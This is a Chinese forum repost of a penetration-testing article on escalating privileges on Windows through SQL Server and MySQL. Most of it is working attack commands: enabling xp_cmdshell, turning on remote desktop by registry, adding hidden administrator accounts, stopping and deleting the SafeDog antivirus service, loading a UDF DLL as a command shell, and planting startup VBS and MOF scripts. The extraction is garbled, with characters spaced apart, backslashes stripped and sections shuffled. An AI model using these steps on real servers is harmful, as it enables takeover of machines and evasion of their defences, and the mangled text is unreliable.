搜索

[22101] 2021-06-25_Windows系统提权之数据库提权

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-06-25_Windows系统提权之数据库提权 W i n d o w s 系 统 提 权 之 数 据 库 提 权 L i n u x 就 该 这 么 学   L e m o n S e c   2 0 2 1 - 0 6 - 2 5 在 利 用 系 统 溢 出 漏 洞 无 果 的 情 况 下 ， 可 以 尝 试 采 用 数 据 库 进 行 提 权 。 数 据 库 提 权 的 前 提 条 件 ： 拥 有 数 据 库 最 高 权 限 用 户 密 码 。 除 A c c e s s 数 据 库 外 ， 其 他 数 据 库 基 本 都 存 在 数 据 库 提 权 的 可 能 ， 本 文 主 要 针 对 S Q L   s e r v e r ， M y S Q L 数 据 库 提 权 进 行 记 录 。 S Q L   s e r v e r ， M y S Q L 都 需 要 具 备 数 据 库 管 理 员 权 限 才 可 执 行 提 权 操 作 。 l i n u x 系 统 下 m y s q l   r o o t 用 户 是 服 务 用 户 ， 权 限 不 足 以 提 权 。 W i n d o w s 下 m y s q l   r o o t 权 限 很 高 ， 在 没 有 被 降 权 的 情 况 可 以 进 行 提 权 操 作 。 但 是 z k e y s 、 宝 塔 等 集 成 环 境 默 认 降 权 了 r o o t 账 号 S Q L   s e r v e r   数 据 库 提 权 数 据 库 提 权 提 权 流 程 提 权 流 程 ： 获 取 S A 账 号 > 远 程 数 据 库 登 录 > 安 装 提 权 组 件 > 创 建 账 号 > 开 启 3 3 8 9 > 远 程 系 统 登 录 > 完 成 一 、 一 、 S A 账 号 的 获 取 账 号 的 获 取 1 . 爆 破 获 取 账 号 密 码 2 . 网 站 源 码 ， 查 看 数 据 库 连 接 文 件 。 如 w e b . c o n f i g 、 c o n f i g . a s p 、 c o n n . a s p 、 d b c o n f i g . a s p 。 可 能 得 到 的 账 号 名 称 不 是 s a ， 但 是 具 有 系 统 权 限 。 使 用 数 据 库 软 件 连 接 数 据 库 执 行 系 统 数 据 库 的 操 作 ， 若 可 以 操 作 说 明 此 账 号 具 有 s a 权 限 。 或 者 利 用 注 入 s q l m a p   - - i s - d b a 确 认 是 否 为 d b a 权 限 。 S Q L   s e r v e r 默 认 允 许 s a 外 链 登 陆 ， m y s q l   r o o t 用 户 默 认 不 允 许 外 链 登 陆 。 二 、 提 权 二 、 提 权 2 . 1 允 许 外 联 允 许 外 联 x p _ c m d s h e l l 组 件 默 认 在 m s s q l   2 0 0 0 中 是 开 启 的 ， 在 m s s q l   2 0 0 5 之 后 的 版 本 中 则 默 认 禁 止 。 拥 有 管 理 员 s a 权 限 则 可 以 用 s p _ c o n f i g u r e 开 启 该 组 件 。 1 . 使 用 已 经 得 到 的 s a 权 限 账 号 远 程 登 录 数 据 库 2 . 启 用 c m d _ s h e l l 执 行 命 令 组 件 ： E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 G O R E C O N F I G U R E G O E X E C   s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' ,   1 G O R E C O N F I G U R E G O
3 . 组 件 启 用 成 功 ， 可 执 行 系 统 命 令 。 在 此 基 础 上 进 行 系 统 账 号 创 建 操 作 ： 4 . 如 果 目 标 机 器 没 有 开 启 3 3 8 9 ， 使 用 以 下 命 令 开 启 3 3 8 9 5 . 其 他 2 . 2 禁 止 外 链 禁 止 外 链 如 果 目 标 数 据 库 没 有 开 外 链 ， 我 们 无 法 从 远 程 登 录 数 据 。 则 需 要 利 用 一 些 大 马 进 行 提 权 1 . 拿 到 账 号 密 码 ， 在 大 马 上 登 录 数 据 库 2 . 开 启 c m d _ s h e l l e x e c   m a s t e r . d b o . x p _ r e g w r i t e ' H K E Y _ L O C A L _ M A C H I N E ' , ' S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l   S e r v e r ' , ' f D e n y T S C o n n e c t i o n s ' , ' R E G _ D W O R D ' , 0 ; - - # 停 用 c m d _ s h e l l 执 行 命 令 组 件 E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 R E C O N F I G U R E E X E C   s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' ,   0 R E C O N F I G U R E # 执 行 系 统 命 令 E X E C   m a s t e r . d b o . x p _ c m d s h e l l   ' i p c o n f i g ' # 关 闭 3 3 8 9 e x e c   m a s t e r . d b o . x p _ r e g w r i t e ' H K E Y _ L O C A L _ M A C H I N E ' , ' S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l   S e r v e r ' , ' f D e n y T S C o n n e c t i o n s ' , ' R E G _ D W O R D ' , 1 ; # 如 果 x p _ c m d s h e l l 被 删 除 了 ， 可 以 上 传 x p l o g 7 0 . d l l 进 行 恢 复 e x e c   m a s t e r . s y s . s p _ a d d e x t e n d e d p r o c   ' x p _ c m d s h e l l ' ,   ' C : P r o g r a m   F i l e s M i c r o s o f t   S Q L   S e r v e r M S S Q L B i n n x p l o g 7 0 . d l l ' E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 ; R E C O N F I G U R E ; E X E C   s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' ,   1 ; R E C O N F I G U R E ;   # 该 语 句 适 用 于 s q l   s e r v e r   2 0 0 5
3 . 命 令 执 行 4 . 开 启 3 3 8 9 ， 远 程 登 录 2 . 3   过 杀 软 过 杀 软 以 安 全 狗 为 例 ， 利 用 c m d _ s h e l l 提 权 时 安 全 狗 不 拦 截 创 建 账 号 操 作 ， 但 是 会 拦 截 添 加 到 管 理 员 组 的 操 作 。 可 以 将 创 建 的 用 户 添 加 到 远 程 桌 面 组 ( r e m o t e   d e s k t o p u s e r s ) ， 但 是 登 陆 进 去 了 是 普 通 用 户 ， 权 限 很 低 。 这 时 可 以 对 文 件 进 行 降 权 ， 降 权 之 后 可 对 系 统 盘 进 行 操 作 ： 1 . 降 权 2 . 杀 狗 # 将 C 盘 设 置 为 完 全 控 制 c a c l s   c : / e   / t   / g   e v e r y o n e : F # s y s t e m 权 限 停 用 安 全 狗 服 务 ： n e t   s t o p   " s a f e d o g   g u a r d   c e n t e r "   / y n e t   s t o p   " s a f e d o g   u p d a t e   c e n t e r "   / y n e t   s t o p   " s a f e d o g g u a r d c e n t e r "   / y # s y s t e m 权 限 删 除 安 全 狗 服 务 ： s c   s t o p   " S a f e D o g G u a r d C e n t e r " s c   c o n f i g   " S a f e D o g G u a r d C e n t e r "   s t a r t = d i s a b l e d s c   d e l e t e   " S a f e d o g g u a r d c e n t e r "
3 . 其 他 M y S Q L 数 据 库 提 权 数 据 库 提 权 一 、 获 取 一 、 获 取 r o o t 账 号 账 号 1 . 1 查 看 网 站 源 码 里 面 数 据 库 配 置 文 件 ( 关 键 词 : c o n n . p h p , c o n f i g . p h p , d b c o n f i g . p h p , c o n f i g . i n c . p h p , c o m m o n . i n c . p h p , i n c , c o n n , c o n f i g . s q l , c o m m o n , d a t a ， s q l , d a t a , i n c , c o n f i g , c o n n , d a t a b a s e , c o m m o n , i n c l u d e ） 一 般 来 说 云 主 机 上 面 的 网 站 配 置 文 件 一 般 数 据 库 连 接 文 件 都 是 低 权 限 账 号 ， 是 根 据 不 用 站 点 创 建 不 同 数 据 库 用 户 。 单 个 服 务 器 上 的 网 站 属 于 一 个 机 构 ， 这 种 情 况 可 能 拿 下 数 据 库 配 置 文 件 直 接 是 r o o t 账 号 。 另 外 我 们 得 到 的 账 号 不 是 r o o t 也 有 可 能 是 r o o t 权 限 ， 能 过 获 取 m y s q l 数 据 库 信 息 一 般 是 r o o t 权 限 。 1 . 2 查 看 数 据 库 安 装 路 径 ( s e l e c t   @ @ b a s e d i r ) 下 的   ( / m y s q l / d a t a / m y s q l / u s e r . m y d ) 下 载 ， 本 地 打 开 。 情 形 一 ， 可 以 直 接 读 取 账 号 密 码 ： s c   s t o p   " S a f e D o g u p d a t e C e n t e r " s c   c o n f i g   " S a f e D o g U p d a t e C e n t e r "   s t a r t = d i s a b l e d s c   d e l e t e   " S a f e d o g U p d a t e c e n t e r " s c   s t o p   " S a f e D o g C l o u d H e l e r " s c   c o n f i g   " S a f e D o g C l o u d H e l e r "   s t a r t = d i s a b l e d s c   d e l e t e   " S a f e D o g C l o u d H e l e r " # 重 启 服 务 器 即 可 k i l l 安 全 狗 。 h t t p s : / / g i t h u b . c o m / k e y i x i a x i a n g / x i a x i a n g - k i l l e r
情 形 二 ， 得 到 的 密 文 是 不 完 整 的 或 者 管 理 员 设 置 了 其 他 密 码 不 能 登 陆 进 去 。 下 载 u s e r . m y d ， u s e r . f r m , u s e r . m y i 三 个 数 据 库 文 件 。 替 换 到 本 地 m y s q l 数 据 库 ， 注 意 m y s q l 版 本 和 目 标 保 持 版 本 一 致 确 保 兼 容 。 替 换 完 成 后 本 地 登 陆 m y s q l 1 . 3 暴 力 破 解 （ 默 认 不 能 通 过 外 部 地 址 爆 破 ， 利 用 脚 本 在 服 务 器 进 行 本 地 破 解 ） ① 使 用 大 马 进 行 内 部 地 址 爆 破 ： ② 也 可 以 上 传 数 据 库 登 录 脚 本 ， b u r p 抓 包 爆 破 r o o t 账 号 密 码 m y s q l d   - - s k i p - g r a n t - t a b l e s #   跳 过 验 证 m y s q l . e x e   - u r o o t         #   进 入 M y S Q L
③ h t t p s : / / w w w . j b 5 1 . n e t / a r t i c l e / 9 4 8 6 7 . h t m 二 、 二 、 M y S Q L 开 外 链 开 外 链 修 改 u s e r 表 h o s t 字 段 为 % ， 表 示 允 许 任 意 地 址 登 录 M y S Q L ， 开 启 外 链 接 成 功 开 外 联 前 开 外 联 后 三 、 三 、 U D F 提 权 提 权 3 . 1   U D F 提 权 原 理 ： ： u d f ( U s e r d e f i n e d   f u n c t i o n ) 是 用 户 自 定 义 函 数 简 写 。 通 过 r o o t 权 限 将 文 件 u d f . d l l 导 出 到 系 统 目 录 下 ， 可 以 通 过 u d f . d l l 创 建 执 行 系 统 命 令 的 函 数 来 调 用 执 行 c m d 。 现 在 基 本 上 w i n d o w s 的 服 务 器 是 以 下 两 个 路 径 导 出 U D F . D L L 在 M y S Q L 高 版 本 中 s e c u r e - f i l e - p r i v 参 数 限 制 了 M y S Q L 的 导 出 ； ①   N U L L ， 表 示 禁 止 ②   如 果 v a l u e 值 有 文 件 夹 目 录 ， 则 表 示 只 允 许 该 目 录 下 文 件 （ 子 目 录 都 不 行 ） ③   如 果 为 空 ( 没 有 值 ) ， 则 表 示 不 限 制 目 录 M y S Q L 5 . 0 / 5 . 6 版 本 ： m y . i n i 中 无 此 参 数 ， 查 询 该 参 数 情 况 为 空 ， 不 限 制 目 录 : M y S Q L 5 . 7 版 本 ： m y . i n i 中 存 在 参 数 ， 查 询 该 参 数 情 况 为 N U L L ， 不 允 许 导 出 : G r a n t   a l l   p r i v i l e g e s   o n   * . *   t o   ' r o o t ' @ ' % '   i d e n t i f i e d   b y   ' p a s s w o r d '   w i t h   g r a n t   o p t i o n ; w i n   2 0 0 0 :   C : W i n n t u d f . d l l w i n   2 0 0 3 :   C : W i n d o w s u d f . d l l
3 . 2 . 提 权 提 权 ① ①   创 建 p l u g i n 目 录 ： M y S Q L   5 . 1   以 上 版 本 需 要 导 出 到 m y s q l 安 装 目 录 / l i b / p l u g i n / ， 5 . 1   以 下 直 接 安 装 在 c : / w i n d o w s 目 录 下 ， 如 果 5 . 1 以 上 没 有 p l u g i n 目 录 ， 需 要 手 工 创 建 或 者 通 过 N T F S 流 创 建 目 录 ： 查 看 p l u g i n 目 录 ： s e l e c t   @ @ p l u g i n _ d i r ; ② 导 出 u d f ， 如 果 脚 本 没 法 导 出 u d f 文 件 ， 也 可 以 手 动 将 该 文 件 复 制 到 p l u g i n 文 件 夹 下 （ 创 建 p l u g i n 目 录 、 复 制 粘 贴 u d f 文 件 都 需 要 一 定 的 权 限 ) 手 工 导 入 u d f 文 件 ： ③ 创 建 s h e l l 函 数 ， 创 建 完 成 后 即 可 执 行 命 令 ， 也 可 以 手 动 创 建 函 数 。 # N T F S 流 创 建 p l u g i n 目 录 s e l e c t   ' x '   i n t o   d u m p f i l e   ' C : / P r o g r a m   F i l e s / M y S Q L / M y S Q L   S e r v e r   5 . 1 / l i b / p l u g i n : : I N D E X _ A L L O C A T I O N ' ; s e l e c t   l o a d _ f i l e ( ' d : w w w r o o o t n e t w o r k l i b _ m y s q l u d f _ s y s _ 6 4 . d l l ' )   i n t o   d u m p f i l e   " D : M y S Q L m y s q l - 5 . 7 . 2 1 - w i n x 6 4 m y s q l - 5 . 7 . 2 1 - w i n x 6 4 l i b p l u g i n u d f . d l l " ; # 安 装 c r e a t e   f u n c t i o n   c m d s h e l l   r e t u r n s   s t r i n g   s o n a m e   ' u d f . d l l ' # 写 入 命 令
当 然 使 用 u d f 马 自 带 的 功 能 更 省 事 一 点 ： ④ 提 权 成 功 ， 可 以 执 行 命 令 如 果 目 标 m y s q l 版 本 小 于 5 . 1 。 在 这 里 导 出 即 可 四 、 启 动 项 提 权 四 、 启 动 项 提 权 4 . 1   创 建 t e s t 数 据 库 4 . 2   在 T E S T 数 据 库 下 创 建 一 个 新 的 表 ； 4 . 3   在 表 中 插 入 内 容 # 写 入 命 令 s e l e c t   c m d s h e l l ( ' n e t   u s e r   t e s t   1 2 3 . c o m   / a d d ' ) ;     s e l e c t   c m d s h e l l ( ' n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   t e s t   / a d d ' ) ;     d r o p   f u n c t i o n   c m d s h e l l ;   #   删 除 函 数 s e l e c t   s y s _ e v a l ( ' w h o a m i ' ) # 启 动 项 目 录 ： w i n   0 8 ： C : P r o g r a m D a t a M i c r o s o f t W i n d o w s S t a r t   M e n u P r o g r a m s S t a r t u p w i n   0 3 ： C : D o c u m e n t s   a n d   S e t t i n g s A d m i n i s t r a t o r 「 开 始 」 菜 单 程 序 启 动 c r e a t e   d a t a b a s e   t e s t ; c r e a t e   t a b l e   a   ( c m d   t e x t ) ; # 创 建 了 一 个 表 名 为 a 的 表 ， 表 中 只 存 放 一 个 字 段 ， 字 段 名 为 c m d ， t e x t 文 本
4 . 4   将 表 输 出 为 一 个 V B S 的 脚 本 文 件 4 . 5 重 启 计 算 机 ， 创 建 用 户 成 功 。 实 际 情 况 可 以 利 用 服 务 器 漏 洞 ， 如 m s 1 2 - 0 2 0 4 . 6   二 次 执 行 进 行 提 权 这 里 t e s t 1 2 3 用 户 不 是 a d m i n i s t r a t o r s 组 用 户 ， 使 用 相 同 的 办 法 通 过 m y s q l 命 令 重 新 写 入 v b s 脚 本 。 脚 本 内 容 为 ： 然 后 加 入 启 动 项 ， 再 次 重 启 计 算 机 ， 此 命 令 被 执 行 ， 完 成 提 权 ： i n s e r t   i n t o   a   v a l u e s   ( " s e t   w s h s h e l l = c r e a t e o b j e c t   ( " " w s c r i p t . s h e l l " " ) " ) ; i n s e r t   i n t o   a   v a l u e s   ( " a = w s h s h e l l . r u n   ( " " c m d . e x e   / c   n e t   u s e r   t e s t 1 2 3   1 2 3 4 5 6   / a d d " " , 0 ) " ) ; i n s e r t   i n t o   a   v a l u e s   ( " b = w s h s h e l l . r u n   ( " " c m d . e x e   / c   n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   t e s t 1 2 3   / a d d " " , 0 ) " ) ; #   调 用 c m d 创 建 管 理 员 , 注 意 双 引 号 和 括 号 以 及 后 面 的 " 0 " 一 定 要 输 入 , 用 这 三 条 命 令 来 建 立 一 个 V B S 的 脚 本 程 序 s e l e c t   *   f r o m   a ; s e l e c t   *   f r o m   a   i n t o   o u t f i l e   " C : / / P r o g r a m D a t a / / A d m i n i s t r a t o r / / W i n d o w s / / S t a r t   M e n u / / P r o g r a m s / / S t a r t u p / / a . v b s " ; i n s e r t   i n t o   a   v a l u e s   ( " s e t   w s h s h e l l = c r e a t e o b j e c t   ( " " w s c r i p t . s h e l l " " ) " ) ; i n s e r t   i n t o   a   v a l u e s   ( " b = w s h s h e l l . r u n   ( " " c m d . e x e   / c   n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   t e s t 1 2 3   / a d d " " , 0 ) " ) ;
五 、 五 、 m o f   提 权 提 权 M O F 是 w i n d o w s 系 统 的 一 个 文 件 （ 在 c : / w i n d o w s / s y s t e m 3 2 / w b e m / m o f / n u l l e v t . m o f ） 叫 做 " 托 管 对 象 格 式 " 其 作 用 是 每 隔 五 秒 就 会 去 监 控 进 程 创 建 和 死 亡 。 拥 有 m y s q l 的 r o o t 权 限 了 以 后 ， 然 后 使 用 r o o t 权 限 去 执 行 上 传 的 m o f 。 隔 了 一 定 时 间 以 后 这 个 m o f 就 会 被 执 行 ， 这 个 m o f 当 中 有 一 段 是 v b s 脚 本 ， 里 面 包 含 c m d 的 添 加 管 理 员 用 户 的 命 令 。 5 . 1 上 传 文 件   1 . m o f ， 使 用 s q l 语 句 导 出 到 n u l l e v t . m o f 文 件 中 #   提 权 m o f 脚 本 # p r a g m a   n a m e s p a c e ( " . r o o t s u b s c r i p t i o n " ) # p r a g m a   n a m e s p a c e ( " . r o o t s u b s c r i p t i o n " )   i n s t a n c e   o f   _ _ E v e n t F i l t e r   a s   $ E v e n t F i l t e r {           E v e n t N a m e s p a c e   =   " R o o t C i m v 2 " ;           N a m e     =   " f i l t P 2 " ;           Q u e r y   =   " S e l e c t   *   F r o m   _ _ I n s t a n c e M o d i f i c a t i o n E v e n t   " " W h e r e   T a r g e t I n s t a n c e   I s a   " W i n 3 2 _ L o c a l T i m e "   " " A n d   T a r g e t I n s t a n c e . S e c o n d   =   5 " ;           Q u e r y L a n g u a g e   =   " W Q L " ;   } ; i n s t a n c e   o f   A c t i v e S c r i p t E v e n t C o n s u m e r   a s   $ C o n s u m e r {           N a m e   =   " c o n s P C S V 2 " ;           S c r i p t i n g E n g i n e   =   " J S c r i p t " ;           S c r i p t T e x t   =   " v a r   W S H   =   n e w   A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) n W S H . r u n ( " n e t . e x e   u s e r   a d m i n   a d m i n   / a d d " ) " ;   } ;   i n s t a n c e   o f   _ _ F i l t e r T o C o n s u m e r B i n d i n g   {           C o n s u m e r       =   $ C o n s u m e r ;   F i l t e r   =   $ E v e n t F i l t e r ;   } ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理